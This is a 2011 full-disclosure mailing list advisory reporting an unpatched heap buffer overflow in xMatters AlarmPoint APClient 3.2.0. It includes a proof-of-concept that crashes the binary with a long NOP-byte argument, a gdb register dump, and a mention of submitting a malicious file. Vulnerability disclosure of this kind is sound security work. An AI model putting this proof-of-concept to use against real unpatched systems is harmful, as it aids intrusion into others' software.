full-disclosure - Insect Pro - Advisory 2011 0428 - Zero Day - Heap Buffer Overflow in xMatters APClient

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Date: Thu, 28 Apr 2011 10:03:38 -0500
From: Juan Sacco <jsacco@...ecurityresearch.com>
To: <full-disclosure@...ts.grok.org.uk>
Subject: Insect Pro - Advisory 2011 0428 - Zero Day - Heap
 Buffer Overflow in xMatters APClient

 Information
 --------------------
 Name : Heap Buffer Overflow in xMatters AlarmPoint APClient
 Version: APClient 3.2.0 (native)
 Software : xMatters AlarmPoint
 Vendor Homepage : http://www.xmatters.com
 Vulnerability Type : Heap Buffer Overflow
 Md5: 283d98063323f35deb7afbd1db93d859  APClient.bin
 Severity : High
 Researcher : Juan Sacco <jsacco [at] insecurityresearch [dot] com>

 Description
 ------------------
 The AlarmPoint Java Server consists of a collection of software
 components and software APIs designed to provide a flexible and
 powerful set of tools for integrating various applications to
 AlarmPoint.

 Details
 -------------------
 AlarmPoint APClient is affected by a Heap Overflow vulnerability in 
 version APClient 3.2.0 (native)

 A heap overflow condition is a buffer overflow, where the buffer that 
 can be overwritten is allocated in the heap portion of memory, generally 
 meaning that the buffer was allocated using a routine such as the POSIX 
 malloc() call.
 https://www.owasp.org/index.php/Heap_overflow


 Exploit as follow:
 Submit a malicious file cointaining the exploit
 root@...gateway:/opt/alarmpointsystems/integrationagent/bin$  
 ./APClient.bin --submit-file maliciousfile.hex
 or
 (gdb) run `python -c 'print "\x90"*16287'`
 Starting program: 
 /opt/alarmpointsystems/integrationagent/bin/APClient.bin `python -c 
 'print "\x90"*16287'`

 Program received signal SIGSEGV, Segmentation fault.
 0x0804be8a in free ()
 (gdb) i r
 eax            0xa303924        170932516
 ecx            0xbfb8   49080
 edx            0xa303924        170932516
 ebx            0x8059438        134583352
 esp            0xbfff3620       0xbfff3620
 ebp            0xbfff3638       0xbfff3638
 esi            0x8059440        134583360
 edi            0x80653f0        134632432
 eip            0x804be8a        0x804be8a <free+126>
 eflags         0x210206 [ PF IF RF ID ]
 cs             0x73     115
 ss             0x7b     123
 ds             0x7b     123
 es             0x7b     123
 fs             0x0      0
 gs             0x33     51
 (gdb)


 Solution
 -------------------
 No patch are available at this time.

 Credits
 -------------------
 Manual discovered by Insecurity Research Labs
 Juan Sacco - http://www.insecurityresearch.com

-- 
 --
  _________________________________________________
 Insecurity Research - Security auditing and testing software
 Web: http://www.insecurityresearch.com
 Insect Pro 2.5 was released stay tunned

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